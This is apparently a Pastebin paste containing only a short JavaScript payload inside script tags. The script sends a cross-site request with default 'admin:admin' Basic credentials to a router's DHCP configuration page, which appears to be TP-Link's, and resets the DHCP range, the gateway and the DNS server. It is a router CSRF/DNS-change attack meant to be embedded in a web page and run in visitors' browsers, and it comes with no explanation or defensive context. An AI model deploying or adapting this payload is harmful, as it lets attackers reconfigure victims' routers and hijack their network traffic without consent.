Advertisement
Guest User

Untitled

a guest
Mar 27th, 2016
94
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <script>
  2.  
  3. var xhr = new XMLHttpRequest();
  4. username = "admin";
  5. password = "admin";
  6.             xhr.open("GET", "http://xxxxxx/GFYMMXCBFUUNDCLA/userRpm/LanDhcpServerRpm.htm?dhcpserver=1&ip1=192.168.0.100&ip2=192.168.0.199&Lease=120&gateway=192.168.0.1&domain=&dnsserver=8.8.8.8&dnsserver2=0.0.0.0&Save=Save", true);
  7.             xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
  8.             xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
  9.             xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
  10.             xhr.setRequestHeader("Authorization", "Basic " + btoa(username + ":" + password));
  11.  
  12.  
  13.             xhr.withCredentials = true;
  14. xhr.send();
  15.  
  16.            
  17.  
  18. </script>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement